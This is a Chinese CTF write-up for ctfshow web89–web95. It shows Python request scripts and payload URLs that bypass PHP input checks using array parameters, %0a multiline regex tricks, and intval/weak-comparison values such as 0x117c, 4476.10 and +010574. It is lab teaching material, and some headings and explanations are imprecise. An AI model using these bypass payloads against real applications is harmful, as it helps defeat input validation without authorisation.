ctfshow web89-web95

web 89

数组绕过

import requests

url = "http://5f87330e-11a0-42ed-9e1d-a249303bcd28.challenge.ctf.show/"

# 使用数组绕过
payloads = [
    {"num[]": "a"},       # 数组形式
    {"num": []},          # 空数组
    {"num[a]": "b"},      # 关联数组
    {"num": {}},          # 空对象
    {"num[]": "true"},    # 布尔数组
]

for payload in payloads:
    response = requests.get(url, params=payload)
    print(f"Testing payload: {payload}")
    print(f"Response: {response.text}")
    if "ctfshow{" in response.text:
        print(f"Found flag with payload: {payload}")
        print(f"Flag: {response.text}")
        break

web 89

import requests

url = "http://362cbf68-ac9a-4989-ac3e-cfc2c678804e.challenge.ctf.show/"

payloads = [
    "0x117c",          # 十六进制: 4476
    "010574",          # 八进制: 4476
    "4476e0",          # 科学计数法
    "4476.0",          # 浮点数
    "0b1000101111100"  # 二进制: 4476
]

for payload in payloads:
    params = {"num": payload}
    response = requests.get(url, params=params)
    print(f"Testing payload: {payload}")
    print(f"Response: {response.text}")
    if "ctfshow{" in response.text:
        print(f"Found flag with payload: {payload}")
        print(f"Flag: {response.text}")
        break

#https://362cbf68-ac9a-4989-ac3e-cfc2c678804e.challenge.ctf.show/?num=0x117c

web90

https://785b5349-56a9-4159-a1db-ce8078f10cde.challenge.ctf.show/?cmd=php%0aflag
$a=$_GET['cmd'];                      // 从 GET 请求获取 cmd 参数
if(preg_match('/^php$/im', $a)){      // 第一个正则匹配
    if(preg_match('/^php$/i', $a)){   // 第二个正则匹配
        echo 'hacker';                // 如果两个都匹配,输出 'hacker'
    }
    else{
        echo $flag;                   // 如果只匹配第一个,输出 flag
    }
}
else{
    echo 'nonononono';               // 如果第一个都不匹配,输出 'nonononono'
}

根据代码的介绍值要第一个匹配就可以实现绕过

但是\n 是不行的 php\nflag 回显是nononono

后面看到一篇文章引用

https://blog.csdn.net/qq_46091464/article/details/108278486

这里介绍了\n等于%0a

  1. 可以绕过

 web 92

弱类型比较

因为有

if(intval($num,0)==4476){

存在所以我们只要在后面加一个.1

为啥不用.0

  • 4476.0 在弱类型比较时会被视为等于 4476
  • 4476.1 在弱类型比较时不等于 4476,但 intval() 后等于 4476

 web93

和web92一样的

31980361-a06f-4938-b584-5864c25f92c0.challenge.ctf.show/?num=4476.1

直接获得了flag

 web94

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){                 // 条件1:不能严格等于"4476"
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){  // 条件2:不能包含字母
        die("no no no!");
    }
    if(!strpos($num, "0")){            // 条件3:必须包含字符"0"
        die("no no no!");
    }
    if(intval($num,0)===4476){         // 条件4:转换后必须严格等于4476
        echo $flag;
    }
}

通过代码分析我们可以直到这次是要有0存在的

我们只要在上一题的4476.1后面加一个0

poc

https://d23de3d3-6f96-4d7a-b3c8-0a5a35cfa110.challenge.ctf.show/?num=4476.10

 web95

可以通过+号进行过绕过

  • PHP 的数字解析规则:
  • 当字符串以 0 开头时,PHP 会将其视为八进制数
  • 但如果这个字符串是一个纯数字字符串,可能会被当作十进制处理
https://46581d3b-d8df-4c5d-bb57-59f63019baf3.challenge.ctf.show/?num=+010574
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值